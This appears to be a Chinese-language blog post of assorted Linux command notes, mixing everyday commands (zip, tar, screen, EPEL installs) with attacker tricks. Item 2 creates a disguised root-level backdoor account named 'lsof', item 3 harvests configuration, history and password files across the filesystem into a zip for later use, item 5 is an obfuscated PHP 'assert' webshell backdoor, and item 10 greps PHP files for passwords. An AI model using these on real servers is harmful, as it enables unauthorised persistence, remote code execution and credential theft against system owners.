Linux 操作

Linux 操作.txt

1: 壓縮

zip -r 1.zip dir/*

2: linux 一條命令添加一個 root 級別賬戶並設置密碼

useradd -p openssl passwd -1 -salt ‘lsof’ admin -u 0 -o -g root -G root -s /bin/bash -d /usr/bin/lsof lsof

3:Linux shell script for information gathering|Linux 收集信息小腳本

找出所有. sh .pl .py .conf .cnf .ini .history .pass* (/usr/share 目錄裏面的除外) 並且在當前目錄 zip 打包。有些時候很多配置文件的權限配置不嚴,如果蒐集完全的話對於進行下一步有很大幫助。

Find all .sh .pl .py .conf .cnf .ini .history .pass* (Except in /usr/share) then zip in current directory

find / ! -path “/usr/share/” -regex “..sh|..pl |..py|..conf |..cnf|..ini |./..history$|./..pass.” -print|zip pack.zip -@

4:tar

tar cvfz chuli.tar.gz chuli/*

tar cvfz icon.tar.gz ico/*

5:array_push 後門

array_map(“ass\x65rt”,(array)$_REQUEST[‘array’]);

6: 特殊壓縮

tar -cvf user/tmp/ooouser.tar user/ –exclude=image –exclude= –exclude .jpg –exclude .gif –exclude .zip –exclude .bmp –exclude .eps –exclude .psd

7: 查看版本

more /etc/issue

8:screen

screen -r 31601 介入

screen -S ya

screen -ls 查看當前的 screen

Ctrl+a+d #按 Ctrl+a,然後再按 d 即可保留 Screen

9:ls

ls -lh : 查看文件大小 以 m 爲單位

10: 查詢文件中包含的字符

find / -type f -name “*.php” | xargs grep “password”

11: 查看軟件版本

先用 apt-cache search 找到軟件的準確名字,再用 apt-cache show 來看詳細的信息

RHEL 5.x / CentOS 5.x
rpm -Uvh http://download.fedoraproject.org/pub/epel/5/i386/epel-release-5-4.noarch.rpm
rpm -Uvh http://download.fedoraproject.org/pub/epel/5/x86_64/epel-release-5-4.noarch.rpm

RHEL 6.x / CentOS 6.x
rpm -Uvh http://download.fedoraproject.org/pub/epel/6/i386/epel-release-6-8.noarch.rpm
rpm -Uvh http://download.fedoraproject.org/pub/epel/6/x86_64/epel-release-6-8.noarch.rpm

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章